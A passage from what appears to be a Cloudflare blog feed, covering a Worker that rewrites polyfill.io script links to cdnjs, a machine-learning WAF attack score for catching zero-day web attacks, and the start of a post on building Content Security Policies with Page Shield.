                                href.hostname = 'cdnjs.cloudflare.com';
                                element.setAttribute('href', href.toString());
                            }
                        }
                    },
                })

                .on('script', {
                    element(element) {
                        if (element.hasAttribute('src')) {
                            const src = new URL(element.getAttribute('src') || '', request.url);
                            if (src.hostname === 'polyfill.io') {
                                src.hostname = 'cdnjs.cloudflare.com';
                                src.pathname = '/polyfill' + src.pathname;

                                element.setAttribute('src', src.toString());
                            }
                        }
                    },
                });

            return rewriter.transform(response);
        } else {
            return response;
        }
    },
};</code></pre>
            <p>Instructions on how to deploy a worker can be found on our <a href="https://developers.cloudflare.com/workers/get-started/">developer documentation</a>.</p><p>You can also test the Worker on your website without deploying the worker. You can find instructions on how to do this in <a href="/workers-and-webpagetest/">another blog post we wrote in the past</a>.</p>
    <div>
      <h3>Implemented with Rust on Cloudflare Workers</h3>
      <a href="#implemented-with-rust-on-cloudflare-workers">
        
      </a>
    </div>
    <p>We were happy to discover that polyfill.io is a <a href="https://github.com/polyfillpolyfill/polyfill-service">Rust project</a>. As you might know, Rust has been a <a href="/workers-rust-sdk">first class citizen on Cloudflare Workers</a> from the start.</p><p>The polyfill.io service was hosted on Fastly and used their Rust library. We forked the project to add the compatibility for Cloudflare Workers, and plan to make the fork publicly accessible in the near future.</p>
    <div>
      <h3>Worker</h3>
      <a href="#worker">
        
      </a>
    </div>
    <p>The <code>https://cdnjs.cloudflare.com/polyfill/[...].js</code> endpoints are also implemented in a Cloudflare Worker that wraps our Polyfill.io fork. The wrapper uses <a href="https://github.com/cloudflare/workers-rs">Cloudflare’s Rust API</a> and looks like the following:</p>
            <pre><code>#[event(fetch)]
async fn main(req: Request, env: Env, ctx: Context) -&gt; Result&lt;Response&gt; {
    let metrics = {...};

    let polyfill_store = get_d1(&amp;req, &amp;env)?;
    let polyfill_env = Arc::new(service::Env { polyfill_store, metrics });
    
    // Run the polyfill.io entrypoint
    let res = service::handle_request(req2, polyfill_env).await;

    let status_code = if let Ok(res) = &amp;res {
        res.status_code()
    } else {
        500
    };
    metrics
        .requests
        .with_label_values(&amp;[&amp;status_code.to_string()])
        .inc();

    ctx.wait_until(async move {
        if let Err(err) = metrics.report_metrics().await {
            console_error!("failed to report metrics: {err}");
        }
    });

    res
}</code></pre>
            <p>The wrapper only sets up our internal <a href="https://developers.cloudflare.com/workers/observability/metrics-and-analytics/">metrics</a> and <a href="https://developers.cloudflare.com/workers/observability/logging/logpush/">logging</a> tools, so we can monitor uptime and performance of the underlying logic while calling the Polyfill.io entrypoint.</p>
    <div>
      <h3>Storage for the Polyfill files</h3>
      <a href="#storage-for-the-polyfill-files">
        
      </a>
    </div>
    <p>All the polyfill files are stored in a key-value store powered by <a href="https://developers.cloudflare.com/d1/">Cloudflare D1</a>. This allows us to fetch as many polyfill files as we need with a single SQL query, as opposed to the original implementation doing one KV get() per file.</p><p>For performance, we have one Cloudflare D1 instance per region and the SQL queries are routed to the nearest database.</p>
    <div>
      <h3>cdnjs for your JavaScript libraries</h3>
      <a href="#cdnjs-for-your-javascript-libraries">
        
      </a>
    </div>
    <p>cdnjs is hosting over 6k JavaScript libraries as of today. We are looking for ways to improve the service and provide new content. We listen to community feedback and welcome suggestions on our <a href="https://community.cloudflare.com/">community forum</a>, or <a href="https://github.com/cdnjs">cdnjs on GitHub</a>.</p><p><a href="https://developers.cloudflare.com/page-shield/">Page Shield</a> is also available to all paid plans. Log in to turn it on with a single click to increase visibility and security for your third party assets.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <guid isPermaLink="false">64KHlCJKCdI1JNa3sCAqpL</guid>
            <dc:creator>Sven Sauleau</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Detecting zero-days before zero-day]]></title>
            <link>https://blog.cloudflare.com/detecting-zero-days-before-zero-day/</link>
            <pubDate>Fri, 29 Sep 2023 13:00:12 GMT</pubDate>
            <description><![CDATA[ In this blog post we talk about our approach and ongoing research into detecting novel web attack vectors in our WAF before they are seen by a security researcher. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>We are constantly researching ways to improve our products. For the <a href="https://www.cloudflare.com/application-services/products/waf/">Web Application Firewall (WAF)</a>, the goal is simple: keep customer web applications safe by building the best solution available on the market.</p><p>In this blog post we talk about our approach and ongoing research into detecting novel web attack vectors in our WAF before they are seen by a security researcher. If you are interested in learning about our secret sauce, read on.</p><p>This post is the written form of a presentation first delivered at Black Hat USA 2023.</p>
    <div>
      <h2>The value of a WAF</h2>
      <a href="#the-value-of-a-waf">
        
      </a>
    </div>
    <p>Many companies offer web application firewalls and application security products with a total addressable market forecasted to increase for the foreseeable future.</p><p>In this space, vendors, including ourselves, often like to boast the importance of their solution by presenting ever-growing statistics around threats to web applications. Bigger numbers and scarier stats are great ways to justify expensive investments in web security. Taking a few examples from our very own application security report research (see our latest report <a href="/application-security-report-q2-2023/">here</a>):</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7dAY1tOPwiPQ3FyT7tO1iE/ac00f514dbe8f7fa6b771e56fae78a0d/Detecting-zero-days-before-zero-day-infographic-3.png" />
            
            </figure><p>The numbers above all translate to real value: yes, a large portion of Internet HTTP traffic is malicious, therefore you could mitigate a non-negligible amount of traffic reaching your applications if you deployed a WAF. It is also true that we are seeing a drastic increase in global API traffic, therefore, you should look into the security of your APIs as you are likely serving API traffic you are not aware of. You need a WAF with API protection capabilities. And so on.</p><p>There is, however, one statistic often presented that hides a concept more directly tied to the value of a web application firewall:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/92PZyZBxk5XebbV7Ujjn4/00d7bc4135f50d981c3b36d8d850a688/Detecting-zero-days-before-zero-day-infographic-2.png" />
            
            </figure><p>This brings us to zero-days. The definition of a zero-day may vary depending on who you ask, but is generally understood to be an exploit that is not yet, or has very recently become, widely known with no patch available. High impact zero-days will get assigned a <a href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures">CVE number</a>. These happen relatively frequently and the value can be implied by how often we see exploit attempts in the wild. Yes, you need a WAF to make sure you are protected from zero-day exploits.</p><p>But herein hides the real value: how quickly can a WAF mitigate a new zero-day/CVE?</p><p>By definition a zero-day is not well known, and a single malicious payload could be <b><i>the</i></b> one that compromises your application. From a purist standpoint, if your WAF is not fast at detecting new attack vectors, it is not providing sufficient value.</p><p>The faster the mitigation, the better. We refer to this as “time to mitigate”. Any WAF evaluation should focus on this metric.</p>
    <div>
      <h2>How fast is fast enough?</h2>
      <a href="#how-fast-is-fast-enough">
        
      </a>
    </div>
    <p>24 hours? 6 hours? 30 minutes? Luckily we run one of the world's largest <a href="https://www.cloudflare.com/network/">networks</a>, and we can look at some real examples to understand how quickly a WAF really needs to be to protect most environments. I specifically mention “most” here as not everyone is <i><b>the</b></i> target of a highly sophisticated attack, and therefore, most companies should seek to be protected at least by the time a zero-day is <i><b>widely known</b></i>. Anything better is a plus.</p><p>Our first example is <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">Log4Shell (CVE-2021-44228)</a>. A high and wide impacting vulnerability that affected <a href="https://logging.apache.org/log4j/2.x/">Log4J</a>, a popular logging software maintained by the Apache Software Foundation. The vulnerability was disclosed back in December 2021. If you are a security practitioner, you have certainly heard of this exploit.</p><p>The proof of concept of this attack was published on GitHub on December 9, 2021, at 15:27 UTC. A tweet followed shortly after. We started observing a substantial amount of attack payloads matching the signatures from about December 10 at 10:00 UTC. That is about ~19 hours after the PoC was published.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2OYcOlKbo5iljfWJW2v15n/377ab9458d22e8366a040130e12ee194/Untitled-3.png" />
            
            </figure><p>We <a href="/tag/log4shell/">blogged extensively</a> about this event if you wish to read further.</p><p>Our second example is a little more recent: <a href="/cloudflare-customers-are-protected-from-the-atlassian-confluence-cve-2022-26134/">Atlassian Confluence CVE-2022-26134 from June 2, 2022</a>. In this instance Atlassian published a security advisory pertaining to the vulnerability at 20:00 UTC. We were very fast at deploying mitigations and had rules globally deployed protecting customers at 23:38 UTC, before the four-hour mark.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7hEW03OhwgVFRrcXBRbYvT/fee5321bddea4d4ecfaa455b09f22bff/Untitled--1--2.png" />
            
            </figure><p>Although potentially matching payloads were observed before the rules were deployed, these were not confirmed. Exact matches were only observed on 2022-06-03 at 10:30 UTC, over 10 hours after rule deployment. Even in this instance, we provided <a href="/cloudflare-observations-of-confluence-zero-day-cve-2022-26134/">our observations on our blog</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sgLUIou6mO1f4v4VDiyHk/9f1facef5648b398d3a1174756df08c6/image2-1-1.png" />
            
            </figure><p>The list of examples could go on, but the data tells the same story: for most, as long as you have mitigations in place within a few hours, you are likely to be fine.</p><p>That, however, is a dangerous statement to make. Cloudflare protects applications that have some of the most stringent security requirements due to the data they hold and the importance of the service they provide. They could be <b><i>the</i></b> one application that is first targeted with the zero-day well before it is widely known. Also, we are a WAF vendor and I would not be writing this post if I thought “a few hours” was fast enough.</p><p>Zero (time) is the only acceptable time to mitigate!</p>
    <div>
      <h2>Signatures are not enough, but are here to stay</h2>
      <a href="#signatures-are-not-enough-but-are-here-to-stay">
        
      </a>
    </div>
    <p>All WAFs on the market today will have a signature based component. Signatures are great as they can be built to minimize false positives (FPs), their behavior is predictable and can be improved overtime.</p><p>We build and maintain our own signatures provided in the WAF as the <a href="https://developers.cloudflare.com/waf/managed-rules/reference/cloudflare-managed-ruleset/">Cloudflare Managed Ruleset</a>. This is a set of over 320 signatures (at time of writing) that have been fine-tuned and optimized over the 13 years of Cloudflare’s existence.</p><p>Signatures tend to be written in ModSecurity, regex-like syntax or other proprietary language. At Cloudflare, we use <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter</a>, a language understood by our global proxy. To use the same example as above, here is what one of our Log4Shell signatures looks like:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7omPuxPP3upOTxqCGGp2PH/cd382429dfb391900201b3949c8aadd6/Screenshot-2023-09-09-at-23.24.18.png" />
            
            </figure><p>Our network, which runs our WAF, also gives us an additional superpower: the ability to test new signatures (or updates to existing ones) on over 64M HTTP/S requests per second at peak. We can tell pretty quickly if a signature is well written or not.</p><p>But one of their qualities (low false positive rates), along with the fact that humans have to write them, are the source of our inability to solely rely on signatures to reach zero time to mitigate. Ultimately a signature is limited by the speed at which we can write it, and combined with our goal to keep FPs low, they only match things we know and are 100% sure about. Our WAF security analyst team is, after all, limited by human speed while balancing the effectiveness of the rules.</p><p>The good news: signatures are a vital component to reach zero time to mitigate, and will always be needed, so the investment remains vital.</p>
    <div>
      <h2>Getting to zero time to mitigation</h2>
      <a href="#getting-to-zero-time-to-mitigation">
        
      </a>
    </div>
    <p>To reach zero time to mitigate we need to rely on some <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning algorithms</a>. It turns out that WAFs are a great application for this type of technology especially combined with existing signature based systems. In this post I won’t describe the algorithms themselves (subject for another post) but will provide the high level concepts of the system and the steps of how we built it.</p>
    <div>
      <h3>Step 1: create the training set</h3>
      <a href="#step-1-create-the-training-set">
        
      </a>
    </div>
    <p>It is a well known fact in data science that the quality of any classification system, including the latest <a href="https://www.cloudflare.com/learning/ai/what-is-generative-ai/">generative AI systems</a>, is highly dependent on the quality of the training set. The old saying “garbage in, garbage out” resonates well.</p><p>And this is where our signatures come into play. As these were always written with a low false positive rate in mind, combined with our horizontal WAF deployment on our network, we essentially have access to millions of true positive examples per second to create what is likely one of the best WAF training sets available today.</p><p>We also, due to customer configurations and other tools such as <a href="https://www.cloudflare.com/application-services/products/bot-management/">Bot Management</a>, have a pretty clear idea of what true negatives look like. In summary, we have a constant flow of training data. Additionally due to our self-service plans and the globally distributed nature of Cloudflare’s service and customer base, our data tends to be very diverse, removing a number of biases that may otherwise be present.</p><p>It is important to note at this point that we paid a lot of effort to ensure we anonymised data, removed PII, and that data boundary settings provided by our <a href="https://www.cloudflare.com/data-localization/">data localization suite</a> were implemented correctly. We’ve published previously <a href="/data-generation-and-sampling-strategies/">blog posts describing some of our strategies for data collection in the context of WAF use cases</a>.</p>
    <div>
      <h3>Step 2: enhance the training set</h3>
      <a href="#step-2-enhance-the-training-set">
        
      </a>
    </div>
    <p>Simply relying on real traffic data is good, but with a few artificial enhancements the training set can become a lot better, leading to much higher detection efficacy.</p><p>In a nutshell we went through the process of generating artificial (but realistic) data to increase the diversity of our data even further by studying statistical distribution of existing real-world data. For example, mutating benign content with random character noise, language specific keywords, generating new benign content and so on.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2eVpFLRBA8HPE93jb4XQ1d/d672400384b76223bb4bd654954c3d6b/Enhancing-the-training-set-results-in-much-higher-classification-performance.png" />
            
            </figure><p>Some of the <a href="/data-generation-and-sampling-strategies/">methods adopted to improve accuracy are discussed in detail in a prior blog post</a> if you wish to read further.</p>
    <div>
      <h3>Step 3: build a very fast classifier</h3>
      <a href="#step-3-build-a-very-fast-classifier">
        
      </a>
    </div>
    <p>One restriction that often applies to machine learning based classifiers running to inline traffic, like the Cloudflare proxy, is latency performance. To be useful, we need to be able to compute classification “inline” without affecting the user experience for legitimate end users. We don’t want security to be associated with “slowness”.</p><p>This required us to fine tune not only the feature set used by the classification system, but also the underlying tooling, so it was both fast and lightweight. The classifier is built using <a href="https://www.tensorflow.org/lite">TensorFlow Lite</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/luIh2UvifSbTMaPorJgoo/937e2de0adc5d69cc35ec6ef5b9a18ca/After-testing-TensorFlow-Lite-was-the-chosen-library.png" />
            
            </figure><p>At time of writing, our classification model is able to provide a classification output under 1ms at 50th percentile. We believe we can reach 1ms at 90th percentile with ongoing efforts.</p>
    <div>
      <h3>Step 4: deploy on the network</h3>
      <a href="#step-4-deploy-on-the-network">
        
      </a>
    </div>
    <p>Once the classifier is ready, there is still a large amount of additional work needed to deploy on live production HTTP traffic, especially at our scale. Quite a few additional steps need to be implemented starting from a fully formed live HTTP request and ending with a classification output.</p><p>The diagram below is a good summary of each step. First and foremost, starting from the raw HTTP request, we normalize it, so it can easily be parsed and processed, without unintended consequences, by the following steps in the pipeline. Second we extract the relevant features found after experimentation and research, that would be more beneficial for our use case. To date we extract over 6k features. We then run inference on the resulting features (the actual classification) and generate outputs for the various attack types we have trained the model for. To date we classify <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/">cross site scripting payloads (XSS)</a>, SQL injection payloads (SQLi) and remote code execution payloads (RCE). The final step is to consolidate the output in a single <a href="https://developers.cloudflare.com/waf/about/waf-attack-score/">WAF Attack Score</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/51Eq8znJjkgyrKqUBmzRgY/27f2ac37e5eea2ad6f6adbeea63d16ce/The-full-pipeline-required-to-run-malicious-HTTP-request-classification-at-Cloudflare.png" />
            
            </figure>
    <div>
      <h3>Step 5: expose output as a simple interface</h3>
      <a href="#step-5-expose-output-as-a-simple-interface">
        
      </a>
    </div>
    <p>To make the system usable we decided the output should be in the same format as our Bot Management system output. A single score that ranges from 1 to 99. Lower scores indicate higher probability that the request is malicious, higher scores indicate the request is clean.</p><p>There are two main benefits of representing the output within a fixed range. First, using the output to <code>BLOCK</code> traffic becomes very easy. It is sufficient to deploy a WAF rule that blocks all HTTP requests with a score lower than <code>$x</code>, for example a rule that blocks all traffic with a score lower than 10 would look like this:</p><p><code>cf.waf.score &lt; 10 then **BLOCK**</code></p><p>Secondly, deciding what the threshold should be can be done easily by representing the score distributions on your live traffic in colored “buckets”, and then allowing you to zoom in where relevant to validate the correct classification. For example, the graph below shows an attack that we observed against <code>blog.cloudflare.com</code> when we initially started testing the system. This graph is available to all business and enterprise users.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Pj6i0xLhLMLR8tURBPAHV/23df8dc8395aea9e58d42209b740b62b/Untitled--2--2.png" />
            
            </figure><p>All that remains, is to actually use the score!</p>
    <div>
      <h2>Success in the wild</h2>
      <a href="#success-in-the-wild">
        
      </a>
    </div>
    <p>The classifier has been deployed for just over a year on Cloudflare’s network. The main question stated at the start of this post remains: does it work? Have we been able to detect attacks before we’ve seen them? Have we achieved zero time to mitigate?</p><p>To answer this we track classification output for new CVEs that fail to be detected by existing Cloudflare Managed Rules. Of course our rule improvement work is always ongoing, but this gives us an idea on how well the system is performing.</p><p>And the answer: YES. For all CVEs or bypasses that rely on syntax similar to existing vulnerabilities, the classifier performs very well, and we have observed several instances of it blocking valid malicious payloads that were not detected by our signatures. All of this, while keeping false positives very low at a threshold of 15 or below. XSS variations, SQLi CVEs, are in most cases, a problem fully solved if the classifier is deployed.</p><p>One recent example is a set of Sitecore vulnerabilities that were disclosed in June 2023 listed below:</p>
<table>
<thead>
  <tr>
    <th><span>CVE</span></th>
    <th><span>Date</span></th>
    <th><span>Score</span></th>
    <th><span>Signature match</span></th>
    <th><span>Classification match</span><span>  (score less than 10)</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35813"><span>CVE-2023-35813</span></a></td>
    <td><span>06/17/2023</span></td>
    <td><span>9.8 CRITICAL</span></td>
    <td><span>Not at time of announcement</span></td>
    <td><span>Yes</span></td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33653"><span>CVE-2023-33653</span></a></td>
    <td><span>06/06/2023</span></td>
    <td><span>8.8 HIGH</span></td>
    <td><span>Not at time of announcement</span></td>
    <td><span>Yes</span></td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33652"><span>CVE-2023-33652</span></a></td>
    <td><span>06/06/2023</span></td>
    <td><span>8.8 HIGH</span></td>
    <td><span>Not at time of announcement</span></td>
    <td><span>Yes</span></td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33651"><span>CVE-2023-33651</span></a></td>
    <td><span>06/06/2023</span></td>
    <td><span>7.5 HIGH</span></td>
    <td><span>Not at time of announcement</span></td>
    <td><span>Yes</span></td>
  </tr>
</tbody>
</table><p>The CVEs listed above were not detected by Cloudflare Managed Rules, but were correctly detected and classified by our model. Customers that had the score deployed in a rule in June 2023, would have been protected in zero time.</p><p>This does not mean there isn’t space for further improvement.</p><p>The classification works very well for attack types that are aligned, or somewhat similar to existing attack types. If the payload implements a brand new never seen before syntax, then we still have some work to do. Log4Shell is actually a very good example of this. If another zero-day vulnerability was discovered that leveraged the JNDI Java syntax, we are confident that our customers who have deployed WAF rules using the WAF Attack Score would be safe against it.</p><p>We are already working on adding more detection capabilities including web shell detection and open redirects/path traversal.</p>
    <div>
      <h2>The perfect feedback loop</h2>
      <a href="#the-perfect-feedback-loop">
        
      </a>
    </div>
    <p>I mentioned earlier that our security analyst driven improvements to our Cloudflare Managed Rulesets are not going to stop. Our <a href="https://developers.cloudflare.com/waf/change-log/">public changelog</a> is full of activity and there is no sign of slowing down.</p><p>There is a good reason for this: the signature based system will remain, and likely eventually be converted to our training set generation tool. But not only that, it also provides an opportunity to speed up improvements by focusing on reviewing malicious traffic that is classified by our machine learning system but not detected by our signatures. The delta between the two systems is now one of the main focuses of attention for our security analyst team. The diagram below visualizes this concept.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/W5pzgK6VNYlHH0lWjrUIC/974f0f23b65fe288eb3ddee5e00fea7a/The-delta-between-malicious-traffic-classified-by-the-model-VS-the-signatures-provides-our-team-with-interesting-insights.png" />
            
            </figure><p>It is this delta that is helping our team to further fine tune and optimize the signatures themselves. Both to match malicious traffic that is bypassing the signatures, and to reduce false positives. You can now probably see where this is going as we are starting to build the perfect feedback loop.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5qYvEoi9wnMUSRtCunvbhx/0d757353fc99464027e8839f3069b76b/The-perfect-feedback-loop.png" />
            
            </figure><p>Better signatures provide a better training set (data). In turn, we can create a better model. The model will provide us with a more interesting delta, which, once reviewed by humans, will allow us to create better signatures. And start over.</p><p>We are now working to automate this entire process with the goal of having humans simply review and click to deploy. This is the leading edge for WAF zero-day mitigation in the industry.</p>
    <div>
      <h2>Summary</h2>
      <a href="#summary">
        
      </a>
    </div>
    <p>One of the main value propositions of any web application security product is the ability to detect novel attack vectors before they can cause an issue, allowing internal teams time to patch and remediate the underlying codebase. We call this time to mitigate. The ideal value is zero.</p><p>We’ve put a lot of effort and research into a machine learning system that augments our existing signature based system to yield very good classification results of new attack vectors the first time they are seen. The system outputs a score that we call the WAF Attack Score. We have validated that for many CVEs, we are indeed able to correctly classify malicious payloads on the first attempt and provide Sitecore CVEs as an example.</p><p>Moving forward, we are now automating a feedback loop that will allow us to both improve our signatures faster, to then subsequently iterate on the model and provide even better detection.</p><p>The system is live and available to all our customers in the business or enterprise plan. <a href="https://dash.cloudflare.com/login">Log in to the Cloudflare dashboard</a> today to receive instant zero-day mitigation.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">65UTBx74w4fMulbtyZ05FP</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making Content Security Policies (CSPs) easy with Page Shield]]></title>
            <link>https://blog.cloudflare.com/making-content-security-policies-csps-easy-with-page-shield/</link>
            <pubDate>Fri, 15 Sep 2023 13:00:57 GMT</pubDate>
            <description><![CDATA[ We just deployed a number of updates to our Client-Side Security Product: Page Shield. As of today we support all major CSP directives, better suggestions, better violation reporting, Page Shield specific user role permissions, and domain insights ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Modern web applications are complex, often loading JavaScript libraries from tens of different sources and submitting data to just as many. This leads to a vast <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface area</a> and many attack types that hackers may leverage to target the user browser directly. <a href="https://en.wikipedia.org/wiki/Web_skimming">Magecart</a>, a category of <a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/">supply chain attack</a>, is a good example.</p><p>To combat this, browser vendors (Google, Microsoft, Mozilla, etc.) have agreed on a standard that allows application owners to control browser behavior from a security perspective. This standard is called <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policies</a> (CSPs). Content Security Policies are implemented by application owners as a specially formatted HTTP response header that the browser then parses and enforces. This header can be used, for example, to enforce loading of JavaScript libraries only from a specific set of URLs. CSPs are good as they reduce the attack surface, but are hard to implement and manage, especially in a fast-paced development environment.</p><p>Starting today, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, our client-side security product, supports all major CSP directives. We’ve also added better reporting, automated suggestions, and Page Shield specific user roles, making CSPs much easier to manage.</p><p>If you are a Page Shield enterprise customer, log in to your dashboard to make use of the new features immediately.</p>
    <div>
      <h3>Page Shield policies</h3>
      <a href="#page-shield-policies">
        
      </a>
    </div>
    <p>Let’s say you just built a web application. To keep it simple, you used a number of services to implement specific features: Stripe for your checkout and Zendesk for your chat system.</p><p>These two systems require you to “embed” JavaScript files in your application. Once done, these widgets will also submit data back to their respective endpoints — for example, the Zendesk servers if someone interacts with the Zendesk chat widget.</p><p>You also load a JavaScript file that you built for some simple interactions in your web application. This file is hosted directly on your server under your site’s own domain, let’s say <code>example.com</code>.</p><p>You know that no other files should be loaded, and with a security first mindset, you wish to enforce that only these files (and no other files!) can get executed by your users directly in the browser environment. This avoids a potential compromise to be effective as browsers will refuse to execute unwanted code.</p><p>You can achieve this by using <a href="https://developers.cloudflare.com/page-shield/policies/">Page Shield policies</a>, an abstraction on top of Content Security Policies (CSPs) with the goal of making CSPs easy. This system allows you to adopt a positive security model by letting you define what is <b>allowed</b>, and <b>block</b> everything else by default.</p><p>To do this we need to follow a few simple steps. First, log in to Cloudflare and head over to the relevant zone → Security → Page Shield → Policies → Create policy. We are presented with the following page:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2j5RnzcoTtQ1Ext6YT3GZh/5e2b35791d0c572211cc8a4c550007ee/image1-4.png" />
            
            </figure><p>Insert a policy name (e.g., <code>my website policy</code>) and select, if needed, using our standard <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>, where you want the policy to be applied. For example, if we only wanted the policy to be applied on our checkout pages, where there is a higher risk of data being leaked, we can select:</p><p><i>If incoming requests match… URI Path contains “checkout”</i></p><p>In the UI this would be represented like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5lv5fxZdIoLix1PGO9CBaY/0cd4857e8f712317e87a27dc2569caaf/Screenshot-2023-09-08-at-11.15.52.png" />
            
            </figure><p>This filtering allows you to focus on the portions of your site that matter most, or, at the same time, test your policies on specific subsets of your traffic.</p><p>Next, we need to define where scripts are allowed to be loaded from and where they are allowed to send data to. There are two directives we can use for this: the <code>script-src</code> (Scripts) directive and the <code>connect-src</code> (Connections) directive.</p><p>For Stripe, at time of writing, scripts will be loaded from the following URL:</p><p><code>https://checkout.stripe.com</code></p><p>This same URL is also used to submit data back to Stripes’ system. Zendesk is similar, but for simplicity we will focus on Stripe only in this example. You also load a JavaScript file from your own site, <code>example.com</code> mentioned earlier.</p><p>From the <i>Add a new directive</i> dropdown, select <i>Scripts:</i></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/x4iZvrqtiCAEqPv50tc6b/8a80f8595697a167fd1b077a87bb6683/Screenshot-2023-09-08-at-11.25.40.png" />
            
            </figure><p>Once added, the script directive will show:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/45wtQ1bSJ9bZ10g0crxcTC/035c506f8a724a4771ee92ab98d43b83/Screenshot-2023-09-08-at-11.30.16.png" />
            
            </figure><p>This is where the magic begins. If Page Shield has been enabled on your site, you may notice it may have already detected the JavaScript files your site is loading, and will suggest them to you as a simple list of checkboxes. No more chasing developer team members to understand what is being loaded by your site.</p><p>Building the directive becomes a simple checklist exercise. The builder does allow you to decide if you wish to allow scripts from entire domains, or drill down to specific URLs only. In a normal circumstance, you should expect to allow all detected scripts. For Stripe, the directive configuration would look like the following:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6dJZmS24JkI0WL1r67cnFV/4faba1fa8c05b68d1658d99067c02843/Screenshot-2023-09-08-at-11.36.50.png" />
            
            </figure><p>A preview of the directive is shown below the builder.</p><p>One more example: remember that you also load a script from your own site? That is being identified under the <code>example.com</code> entry in the list. However, loading scripts from the same source is very common and to strike a good balance between simplicity and security, CSPs allow a shortcut keyword: <code>self</code>, available at the top of the builder. Our final policy will look like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PoCBtGKkA0qyEIgqfnE8Z/c1e0b80a02e44150bb13933971bdc84a/Screenshot-2023-09-08-at-11.40.52.png" />
            
            </figure><p>And those are the basics. Simply repeat the steps for the <code>connect-src</code> (Connections) directive (where data should be sent to) and deploy the policy either in <code>LOG</code> (for testing) or <code>ALLOW</code> (enforcing). Your users will be a lot safer as a result.</p>
    <div>
      <h3>Better policy suggestions</h3>
      <a href="#better-policy-suggestions">
        
      </a>
    </div>
    <p>The suggestions engine shown above is now a lot better, making it easier to build Page Shield policies. We’ve added full support for the <code>connect-src</code> (Connections) directive in addition to <code>script-src</code> (Scripts) directive, and we now customize the suggestions based on where you wish to deploy the policy.</p><p>So for example, if you select to deploy the policy on your checkout pages only, shown as:</p><p><i>If incoming requests match… URI Path contains “checkout”</i></p><p>In the example above, the list of suggestions will automatically update to show you suggestions for scripts or connections seen on those pages, only allowing you to minimize the size of the policy. This is important as CSPs often tend to grow very large, causing performance implications.</p><p>Additionally, the builder will try to optimize the policy further for you by allowing you to easily select the correct level of precision in your <code>ALLOW</code> list. For example, if you are loading hundreds of scripts from a specific destination, it will propose you to allow the hostname rather than all script URLs.</p>
    <div>
      <h3>All major CSP directives are now supported</h3>
      <a href="#all-major-csp-directives-are-now-supported">
        
      </a>
    </div>
    <p>Before today, we only supported the <code>script-src</code> (Scripts) directive, allowing you to define where scripts are allowed to be loaded from. Starting today, we support all major directives. Note however, that we only support suggestions for <code>script-src</code> and <code>connect-src</code>. Suggestions for the other directives are on the roadmap.</p><p>The full list of supported directives with relevant keywords is shown in the table below:</p>
<table>
<thead>
  <tr>
    <th><span>Directive</span></th>
    <th><span>Smart suggestions</span></th>
    <th><span>Description</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>script-src</span></td>
    <td><span>✅</span></td>
    <td><span>Define where JavaScript files are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>connect-src</span></td>
    <td><span>✅</span></td>
    <td><span>Define where data can be sent to.</span></td>
  </tr>
  <tr>
    <td><span>default-src</span></td>
    <td></td>
    <td><span>Default behavior to apply.</span></td>
  </tr>
  <tr>
    <td><span>img-src</span></td>
    <td></td>
    <td><span>Define where images are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>style-src</span></td>
    <td></td>
    <td><span>Define where style sheets (CSS) are allowed to be loaded from.</span></td>
  </tr>
  <tr>
    <td><span>font-src</span></td>
    <td></td>
